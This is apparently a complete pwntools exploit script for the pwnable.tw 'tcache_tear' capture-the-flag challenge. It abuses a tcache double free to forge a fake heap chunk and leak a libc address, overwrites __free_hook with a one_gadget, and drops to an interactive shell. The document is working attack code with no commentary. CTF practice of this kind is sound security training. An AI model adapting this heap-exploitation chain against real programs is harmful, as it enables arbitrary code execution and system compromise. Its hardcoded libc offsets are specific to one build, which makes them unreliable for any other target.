from pwn import *
p = process("./tcache_tear")
p = remote("chall.pwnable.tw",10207)

def add(size,data):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter("Size:",str(size))
    p.sendlineafter("Data:",str(data))

def free():
    p.sendlineafter("Your choice :","2")

def show():
    p.sendlineafter("Your choice :","3")

name = "a"*16
p.sendlineafter("Name:",name)
add(15,"a"*16)
free()
free()
add(15,p64(0x602050))
add(15,"a"*16)
fake_heap  = p64(0)
fake_heap += p64(0x501)
fake_heap += "c"*0x28 + p64(0x602060) + "c"*0x4c0
fake_heap += p64(0)
fake_heap += p64(0x11)
fake_heap += p64(0)
fake_heap += p64(0x11)

add(15,fake_heap)
free()
show()
p.recvuntil("Name :")
leak = u64(p.recv(6)+"\x00\x00")
print hex(leak)

system = leak - 0x39c860
binsh = leak - 0x237e06
free_hook = leak + 0x1c48
log.info("leak : "+hex(leak))
log.info("system : "+ hex(system))
log.info("binsh : "+ hex(binsh))
log.info("free_hook : "+ hex(free_hook))
libc_main = leak - 0x3ebca0
log.info("libc_main : "+ hex(libc_main))

add(0x40,"a"*16)
free()
free()
add(0x40,p64(free_hook))

one1 = 0x4f2c5
one2 = 0x4f322
one3 = 0x10a38c


add(0x40,"c"*32 + "c"*8 + p64(binsh))
add(0x40,p64(libc_main+one2))
#gdb.attach(p)
free()

p.interactive()
